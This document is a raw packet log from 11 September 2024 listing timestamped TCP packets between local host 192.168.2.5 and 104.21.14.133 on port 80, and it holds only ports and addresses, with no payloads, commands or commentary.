Sep 11, 2024 18:23:53.443259001 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.443262100 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.443296909 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.443322897 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.443326950 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.443330050 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.443334103 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.443342924 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.443346977 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.443351984 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.443355083 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.443358898 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.443365097 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.443389893 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.443418026 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.444144011 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.444147110 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.444152117 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.444192886 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.444196939 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.444200993 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.444205046 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.444212914 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.444217920 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.444231987 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.444262981 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.444267035 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.444271088 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.444274902 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.444278002 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.444278955 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.444474936 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.524094105 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.524100065 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.524104118 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.524204016 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.524208069 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.524210930 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.524210930 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.524215937 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.524224043 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.524229050 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.524234056 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.524236917 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.524240017 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.524245024 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.524250031 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.524254084 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.524260044 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.524311066 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.524311066 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.524914026 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.524919987 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.524924040 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.524928093 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.524933100 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.524935961 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.524940968 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.524957895 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.524992943 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.525001049 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.525005102 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.525008917 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.525013924 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.525017023 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.525021076 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.525024891 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.525027990 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.525032043 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.525062084 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.525075912 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.526191950 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.526196003 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.526206017 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.526209116 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.526211977 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.526274920 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.526279926 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.526279926 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.526458025 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.526480913 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.526525021 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.682785988 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.682791948 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.682796001 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.682923079 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.683163881 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.683166981 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.683171034 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.683175087 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.683182955 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.683327913 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.683757067 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.683760881 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.683764935 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.683824062 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.683831930 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.683835983 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.683840036 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.683842897 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.683908939 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.683908939 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.684092999 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.684097052 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.684101105 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.684106112 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.684113979 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.684118032 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.684123039 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.684127092 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.684130907 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.684135914 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.684139967 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.684144020 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.684148073 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.684182882 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.684182882 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.684210062 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.684588909 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.684592962 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.684597015 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.684602022 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.684611082 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.684614897 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.684885025 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.684889078 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.684891939 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.684896946 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.684905052 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.684909105 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.684914112 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.684916973 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.684921026 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.684926033 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.684930086 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.684933901 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.684938908 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.684948921 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.684948921 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.684952021 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.684964895 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.684966087 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.684969902 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.684974909 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.684978008 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.684987068 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.684992075 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.684994936 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.684998035 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.684998989 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.685033083 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.685061932 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.685719967 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.685724020 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.685728073 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.685731888 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.685743093 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.685745955 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.685750008 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.685754061 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.685760975 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.685764074 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.685770035 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.685775042 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.685779095 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.685782909 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.685794115 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.685796976 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.685801029 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.685826063 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.685826063 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.686090946 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.686268091 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.686271906 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.686316967 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.686320066 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.686328888 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.686335087 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.686549902 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.686553955 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.686557055 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.686561108 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.686572075 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.686574936 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.686578989 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.686583996 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.686587095 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.686592102 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.686597109 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.686609030 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.686609030 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.686641932 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.686641932 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.687036991 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.687041044 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.687045097 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.687050104 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.687057972 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.687062025 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.687066078 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.687069893 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.687089920 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.687093973 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.687098980 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.687102079 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.687110901 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.687115908 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.687118053 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.687119961 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.687124968 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.687129974 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.687134027 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.687139034 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.687144041 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.687146902 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.687150955 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.687155962 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.687160015 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.687174082 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.687174082 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.687200069 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.687232971 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.687921047 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.687925100 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.687928915 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.687932968 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.687942982 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.687947035 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.687951088 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.687956095 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.687958956 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.687963009 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.687968969 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.687972069 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.687975883 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.687979937 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.687990904 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.688043118 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.688043118 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.743464947 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.743525982 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.743532896 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.743591070 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.743597984 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.743606091 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.743614912 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.743621111 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.743629932 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.743777990 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.743786097 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.743793964 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.743789911 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.743791103 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.743803024 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.743809938 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.743818045 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.743827105 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.743889093 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.743889093 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.744076014 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.744080067 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.744083881 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.744090080 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.744143963 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.744168043 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.744174004 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.744178057 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.744183064 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.744194031 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.744198084 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.744201899 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.744206905 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.744213104 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.744219065 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.744225025 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.744227886 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.744239092 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.744245052 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.744247913 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.744252920 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.744287968 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.744287968 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.744966984 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.744971037 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.744976044 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.744981050 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.744990110 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.744995117 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.744999886 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.745002985 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.745007992 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.745013952 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.745021105 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.745024920 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.745029926 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.745042086 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.745045900 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.745049000 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.745049953 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.745055914 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.745059013 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.745064020 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.745071888 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.745074987 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.745079994 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.745091915 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.745095968 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.745109081 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.745109081 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.745574951 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.745953083 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.745959997 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.745964050 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.745968103 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.745979071 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.745985031 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.745987892 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.745992899 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.745999098 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.746002913 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.746007919 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.746015072 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.746025085 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.746030092 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.746035099 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.746038914 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.746043921 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.746048927 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.746052980 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.746057987 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.746068001 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.746072054 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.746073961 CEST	49710	80	192.168.2.5	104.21.14.133
